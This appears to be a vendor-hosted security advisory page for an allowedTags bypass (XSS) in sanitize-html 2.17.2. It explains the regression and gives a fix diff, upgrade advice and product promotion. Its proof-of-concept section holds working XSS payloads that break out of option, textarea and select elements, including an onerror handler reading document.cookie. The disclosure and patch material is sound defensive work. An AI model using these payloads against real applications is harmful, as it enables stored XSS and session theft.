GHSA-9mrh-v2v3-xpfm is a medium-severity (CVSS 6.1) Cross-site Scripting (XSS) vulnerability in sanitize-html. A fix is available for sanitize-html — see the affected versions and patch details below.
sanitize-html allowedTags Bypass via Entity-Decoded Text in nonTextTags Elements
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-9mrh-v2v3-xpfm.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-9mrh-v2v3-xpfm plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
sanitize-htmlnpmDescription
Summary
Commit 49d0bb7 introduced a regression in sanitize-html that bypasses allowedTags enforcement for text inside nonTextTagsArray elements (textarea and option). Entity-encoded HTML inside these elements passes through the sanitizer as decoded, unescaped HTML, allowing injection of arbitrary tags including XSS payloads. This affects any application using sanitize-html that includes option or textarea in its allowedTags configuration.
Details
The vulnerable code is at packages/sanitize-html/index.js:569-573:
} else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (nonTextTagsArray.indexOf(tag) !== -1)) {
// htmlparser2 does not decode entities inside raw text elements like
// textarea and option. The text is already properly encoded, so pass
// it through without additional escaping to avoid double-encoding.
result += text;
}
The comment is factually incorrect. htmlparser2 10.x does decode HTML entities inside both <textarea> and <option> elements before passing text to the ontext callback. This can be verified:
const htmlparser2 = require('htmlparser2');
const parser = new htmlparser2.Parser({
ontext(text) { console.log(JSON.stringify(text)); }
});
parser.write('<option><script></option>');
// Outputs: "<", "script", ">" — entities are decoded
Because the code assumes the text is "already properly encoded" and skips escapeHtml(), the decoded entities (<, >) are written directly to the output as literal HTML characters. This completely bypasses the allowedTags filter — any tag can be injected inside an allowed option or textarea element using entity encoding.
The execution flow:
- Attacker submits:
<option><img src=x onerror=alert(1)></option> - htmlparser2 parses and decodes entities →
ontextreceives<img src=x onerror=alert(1)> - Code at line 569 checks: tag is
option, which is innonTextTagsArray→ true - Line 573:
result += text— writes decoded text directly without escaping - Output:
<option><img src=x onerror=alert(1)></option>—<img>tag injected despite not being inallowedTags
The script and style tags are handled separately at lines 563-568 (before the vulnerable block), so the effective vulnerability applies to textarea and option, plus any custom elements added to nonTextTags by the user.
Prior to commit 49d0bb7, text in these elements fell through to the escapeHtml branch (line 574-580), which correctly re-encoded the decoded entities.
PoC
Prerequisites: Application using sanitize-html 2.17.2 with option or textarea in allowedTags.
Step 1: Basic tag injection via option
const sanitize = require('sanitize-html');
const output = sanitize(
'<option><script>alert(1)</script></option>',
{ allowedTags: ['option'] }
);
console.log(output);
// Expected (safe): <option><script>alert(1)</script></option>
// Actual (vulnerable): <option><script>alert(1)</script></option>
Step 2: Element breakout with XSS event handler
const output2 = sanitize(
'<option></option><img src=x onerror=alert(document.cookie)></option>',
{ allowedTags: ['option'] }
);
console.log(output2);
// Output: <option></option><img src=x onerror=alert(document.cookie)></option>
// The <img> tag escapes the option context and executes the onerror handler
Step 3: Textarea breakout (also vulnerable)
const output3 = sanitize(
'<textarea></textarea><img src=x onerror=alert(1)></textarea>',
{ allowedTags: ['textarea'] }
);
console.log(output3);
// Output: <textarea></textarea><img src=x onerror=alert(1)></textarea>
Step 4: Full select/option context breakout
const output4 = sanitize(
'<select><option></option></select><img src=x onerror=alert(1)></option></select>',
{ allowedTags: ['select', 'option'] }
);
console.log(output4);
// Output: <select><option></option></select><img src=x onerror=alert(1)></option></select>
// Breaks out of both option and select elements
All outputs verified against sanitize-html 2.17.2 with htmlparser2 10.x.
Impact
- Complete
allowedTagsbypass: Any HTML tag can be injected through an allowedoptionortextareaelement using entity encoding, defeating the core security guarantee of sanitize-html. - Stored XSS: Applications that sanitize user-submitted HTML and allow
optionortextareatags (common in form builders, CMS platforms, rich text editors) are vulnerable to stored cross-site scripting. - Session hijacking: Attackers can inject event handlers (
onerror,onload, etc.) to steal session cookies or authentication tokens. - Scope: Affects non-default configurations only — the default
allowedTagsdoes not includeoptionortextarea. However, these tags are commonly allowed in applications that handle form-related HTML content.
Recommended Fix
Remove the vulnerable code block at lines 569-573 entirely. The escapeHtml branch (line 574) correctly handles these elements — htmlparser2 10.x decodes entities, and re-encoding with escapeHtml produces correct HTML output (entities are round-tripped, not double-encoded).
--- a/packages/sanitize-html/index.js
+++ b/packages/sanitize-html/index.js
@@ -566,11 +566,6 @@ function sanitizeHtml(html, options, _recursing) {
// your concern, don't allow them. The same is essentially true for style tags
// which have their own collection of XSS vectors.
result += text;
- } else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (nonTextTagsArray.indexOf(tag) !== -1)) {
- // htmlparser2 does not decode entities inside raw text elements like
- // textarea and option. The text is already properly encoded, so pass
- // it through without additional escaping to avoid double-encoding.
- result += text;
} else if (!addedText) {
const escaped = escapeHtml(text, false);
if (options.textFilter) {
This fix restores the pre-49d0bb7 behavior where all non-script/style text content goes through escapeHtml(), ensuring decoded entities are properly re-encoded before output.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | sanitize-html | ≥ 2.17.2&&< 2.17.3 | 2.17.3npm install sanitize-html@2.17.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for sanitize-html, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update sanitize-html to 2.17.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9mrh-v2v3-xpfm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-9mrh-v2v3-xpfm can be triaged on real exposure rather than presence alone.
Tailored to GHSA-9mrh-v2v3-xpfm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9mrh-v2v3-xpfm in your dependencies?
O3 Security finds GHSA-9mrh-v2v3-xpfm across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.